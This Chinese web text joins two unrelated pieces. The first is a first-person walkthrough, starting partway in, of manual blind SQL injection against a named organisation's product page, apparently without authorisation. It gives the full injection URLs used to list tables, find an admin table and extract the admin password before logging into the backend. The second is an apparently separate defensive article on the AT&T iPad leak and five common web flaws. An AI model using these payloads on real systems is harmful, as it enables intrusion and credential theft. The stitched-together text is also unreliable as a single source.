所谓数据库注入，也就是SQL Injection，就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。来自官方的说法是：“当应用程序使用输入内容来构造动态SQL语句以访问数据库时，会发生SQL注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生SQL注入攻击。SQL注入可能导致攻击者能够使用应用程序登录在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库，这种问题会变得很严重。”在某些表单中，用户输入的内容直接用来构造(或者影响)动态SQL命令，或作为存储过程的输入参数，这类表单特别容易受到SQL注入攻击。而许多网站程序在编写时，没有对用户输入数据的合法性进行判断或者程序中本身的变量处理不当，使应用程序存在安全隐患。这样用户就可以提交一段数据库查询代码，(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果，获得一些敏感的信息或者控制整个服务器，于是SQL注入产生了。其实简单点说，SQL注入的原理就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。
当然，能不能构造、构造什么样的数据库查询代码，就有是菜鸟和高手的区别了；同时我向大伙保证：我绝不是高手——我基本上连数据库都不会用，所以大伙看了文章后不要问我太多太深的问题，因为我也不知道。
三、检测
查找资料的过程中，被链接到某电信技术研究院网站，看了一下首页代码及链接，用and和or简单测试了一下，没发现什么，在最后快要放弃的时候，发现如下页面有点意思。
1=1（不正常）
1=2（也不正常）
加一个特殊符号，则如下图示。
（返回正常）
（返回异常）
嘿嘿，存在注入，心花怒放!
四、暴库
上面就可以知道该网站后台数据库是MS SQL Server。
(select count(*) from [sysobjects])>=0（返回正常，可见数据库为SQL Server）
探测该网站数据库实例名，我很幸运，竟然通过错误暴出来，请看下图。
SQL Server中DB_NAME 最大值是NVARCHAR(128)，我提交错误，网站也报错，看红色下划线处和红色长方形里，可见数据库实例名为jstrd。
五、寻表
漫长而痛苦的工作开始了，同时因为在创建一个数据库的同时，系统会自动建立一些系统表，我构造了如下的语句，来探测数据库实例jstrd中的表名。
限于篇幅的缘故我在这里只介绍与应用实例有关的一个系统表（SYSOBJECTS）及其相关的字段。
表SYSOBJECTS为数据库内创建的每个对象（约束，规则，表，视图，触发器等）创建一条记录。该表相关字段的含义如下：
SYSOBJECTS.name 对象名，如：表名，视图名。
SYSOBJECTS.id 对象id。
SYSOBJECTS.type 对象类型（p存储过程，v视图，s系统表，u用户表）。
太帅了，返回正确，提交的“系统态”语句是：
*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1
翻译成我们容易识别的“用户态”（以后都用这种形式表示）是：
*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))<=67)>0 and '1'='1&classid=1
或许各位要懵了，这都是些什么东西啊，乱七八糟的？我笑而不答，谜底将在后面揭开。但事先点一下：
xtype是那张表的一个字段，xtype=char(117) 也就是xtype='U' 意思是取用户的表。空格(Space)的ASCII编码是32。
历经多次的失败后，在如下语句输入时，探测到我认为是存储用户名和密码的一张表（之前也探测到别的表，但我认为对自己没有用，
并且要说一下的是当我探测到有TblAd之后，我直觉得加上了TblAdmin；后来发现还没完，有TblAdminUs之后，我直觉得加上了TblAdminUser）。
*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and '1'='1&classid=1
可见有TblAdminUser这么一张表，我们可以再测试一下，如下图。
and (select count(*) from TblAdminUser)>0
六、探列
各位看到这里，上面的谜底很可能都明白了。什么，还有不明白的！那好，告诉你：网站及后台系统理会我上面所说的“系统态”，不理会“用户态”。你们看看如下两个表。
（部分Unicode编码表）
（部分ASCII编码表）
刚才寻到了表，现在我们的工作是探列了，综合运用上面提到过的知识，加上我的直觉猜测里面应该就有username和password两个列，果然！请看下图。
*/show_products.asp?id=22'and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and '1'='1&classid=1
*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1
七、结果
冲锋的号角已经响起，胜利在望；可“行百里者，半于九十”，真正要花大半功夫的地方，也在这。
*/show_products.asp?id=22'%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20'1'='1&classid=1
可见username列中，第一个字符是a (ASCII编码为97)，很快，就猜测到了是admin。
判断password列中，第一个字符应该在g之后，如下图示。
*/show_products.asp?id=22' (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and '1'='1&classid=1and
很快，就猜到了是j，呵呵，有点意思。如下图示。
*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1
历经千辛万苦后，我终于找到了全部密码，竟然是*********
轻松找到后台，登陆，果然正确！如下图示。
八、尾声
因为这份文档主要侧重数据库手工注入,所以注入成功获得网站控制权后的进一步渗透不作介绍。在这里，是我抛出一块破砖，引大伙收获更多的良玉。个人感觉，注入能成功，得益于以下三点：
1、Unicode编码和ASCII编码的应用；
2、系统会自动建立的系统表sysobjects的应用；
3、db_name最大长度128的应用，加上一些直觉判断。
整个过程，耗了近一个星期的业余时间，此时，又是一个深夜……
夜色沉沉，睡意浓浓。
我有一台iPad，实际上是两台，对此我感到很自豪，我的电子邮件地址也有很多人知道，而且经常有人向我发出请求，想要知道我的邮件地址。我猜他们一定发现像这样得到我的邮件地址不费吹灰之力。所以，前两天iPad泄露现有11.4万用户信息时，为什么会引起那么大的骚动？
让我们来看看到底发生了什么。
一个名为Goatse Security的 团伙发现了AT&T网站的一个安全漏洞，窃取了用户的ICC-ID(Integrated Circuit Card ID，IC卡识别码)并取得了与之相连的电子邮件地址。接下来，他们利用一段PHP代码反复向AT&T网站提供大量ICC-ID，然后取得相关电子邮件地址。就这样，他们得到了预计11.4万ICC-ID及其相关电子邮件地址。
我觉得大家都会觉得这是个问题，而且是个普遍存在的问题。在我们Foundstone的安全顾问服务中，经常会遇到我们称之为“信息公开”漏洞的问题。通过搜集用户或企业的这些信息，可以全面了解其正在使用的技术或用户行为。同时借助社会工程技术，就可以有效的获取一些原本无法得到的企业资源。
然而，这样的漏洞根本不算是最严重的漏洞。我们发现主要问题在于在Web应用程序的身份认证系统存在故障。也就是说，用户会话需要避免横向权限升级，因为横向权限升级将允许攻击者得到另一用户信息。所以，与其说这是iPad的漏洞问题，不如说是我们在进行应用安全评估时经常遇到的普通问题。
鉴于这个漏洞利用了一个Web应用程序缺陷，我认为应该总结一下在应用安全评估时最常见的5个问题。
授权失败
恶意认证用户可以接触它本无权接触的信息。通常这样会导致权限升级。如果权限升级发生在同级别的用户中，则被称为“横向权限升级”。如果用户可以将权限升级至更高级别用户，即为“纵向权限升级”。在AT&T事件里，结果只是信息泄露，而没有权限升级。
跨站点脚本 (XSS)
跨站点脚本攻击需要攻击者在应用程序的数据领域中输入恶意代码（通常是Java脚本），而这些数据领域对该应用程序的其他用户而言也是可见的。当受害用户浏览该数据领域时，该Java脚本就在该用户浏览器中运行，并执行一些对攻击者有用的功能。反向XSS攻击通常用来进行钓鱼攻击。
跨站点请求伪造 (XSRF)
跨站点请求伪造攻击（也叫XSRF，CSRF，或者会话控制）允许恶意用户执行对攻击者选定的用户会话的操作，从而泄露用户信息。这类攻击利用了HTTP无状态的弱点。
密码重置功能
通常来说，应用程序允许用户在忘记密码的情况下重置密码。密码提醒/重置程序通常很容易成为被攻击的对象。很多情况下，攻击者首先列出所有具有同样特征的有效用户名。一旦这些用户名中有一个被辨认出来，那么密码问题的答案都可以猜出来。一般情况下，在密码重设页面没有输入次数的限制。而且用户在社交网站上设置的一些问题的答案也可能被攻击者猜中。
SQL注入
SQL注入允许攻击者在关系数据库里执行任意SQL语句。通常，漏洞出现通常都是源于应用程序SQL查询的不安全构造。即使在数据验证很少或没有的情况下，应用程序也会信任攻击者提供输入的信息，执行任意的恶意SQL语句。成功的SQL注入攻击可以泄露基础操作系统信息。
建议
尽管现在是“应用程序101”，我们仍然可以在每一份应用程序安全测评报告中看到几乎所有的5个问题。下面是几条建议：
授权失败
会话应该使用基础框架提供的会话容器。为了避免横向权限升级，应用程序需要对以下三点进行三次确认：
需确认的授权内容：
主体：例如用户或群组
操作：例如CRUD —— 创建、读取、更新、删除
客体：例如数据因素（账号、购物卡ID等）
跨站点脚本 (XSS)
为了避免诸如跨站点脚本等数据验证攻击，我们建议采取“深层防御”策略，包括输入验证和输出消毒，
阻止数据验证攻击的第一步就是要验证输入来防止接受任何在该应用程序中或数据终端（也就是浏览器）中有特殊意义的语句。我们推荐的输入验证方式是“默认拒绝”，只接受含有预期值（也就是白名单）的输入。日常输入验证必须始终检查数据长度、范围、类型和格式。
消毒应用程序HTML中的恶意语句与防止跨站点脚本攻击（XSS）同等重要。比如，“<”应编码为“<”；尽管对于用户来说，这是“少于”的意思，但是它不会被用户浏览器解释为HTML标签的起始点。
跨站点请求伪造 (XSRF)
要防止XSRF攻击，一种有效而又不唐突的方法就是在每一个可以改变某些外在状态的表格中引入一个“随机数”，或者一次性口令。每次用户加载表格，一个不同的“随机数”就 入表格中的一个隐藏区域内。当表格提交后，应用程序检查该随机数是否有效，然后再运行所请求的操作。“随机数”可以是现有会话的标识信息，这种信息一般都会附加在每个请求之后。不过，只有当目标应用程序不存在任何XSS漏洞的情况下，这种方法才能有效。
另外一些更加不唐突的避免XSRF的方法包括使用“Captchas”、对重要操作重新授权、或使用独立授权密码。这些方法很有效，但也会给用户带来额外负担。从用户界面角度来看，这些方法并不常用。
密码重置功能
密码重置功能的推荐方法是：
1.这种方法需要用户输入用户名。把下面信息传递给终端用户，“如果用户名与系统中的现有账户吻合，一封写有下一步说明的电子邮件将发至账户所有者的注册电子邮件地址。”
2.这封电子邮件必须含有唯一的、带有时间限制的链接（比如，24小时内有效），而且只能由用户点击一次。
3.点击链接后，用户将看到几个问题。
4.成功回答问题后，用户将被允许修改其密码，同时对应用程序进行授权。
SQL注入
防止SQL注入攻击需要采取“深层防御”策略。第一步是使用阻止XSS攻击中提到的白名单方法进行输入验证。
除此之外，还需要使用与动态SQL相反的参数查询用。参数查询可以将查询与数据分离，支持数据库引擎在数据缺失情况下决定运行查询的最佳方法。数据将由查询执行计划在运行时间内使用，保证查询执行计划不会被恶意数据修改。
结束语
我猜这个应用程序漏洞之所以得到如此关注，是因为，毕竟我们所谈论的是苹果。围绕苹果产品的炒作，比如对iPhone和iPad的炒作，令人震惊。然而事实是，这种漏洞其实并不是什么新闻，而是每天都在我们身边发生。
现在，很多应用程序并没有经过全面测试便推向市场。考虑到很多企业目前面临的市场压力，这种现象就变得一点都不奇怪。所以，尽管我认为这个漏洞并不像媒体渲染的那样严重，但是它还是让我们看到一个好的安全程序和生命周期研发操作是成功的关键。
在上面提到的最常见的5种Web应用程序漏洞中，很多都可以通过计划和安全测试来消除。你所面临的最大挑战就是说服你的老板，让他相信这些漏洞确实存在。不过我想现在你又多了一种有力武器来达到目的。
注释：作者George Kurtz，现为迈克菲首席技术官。
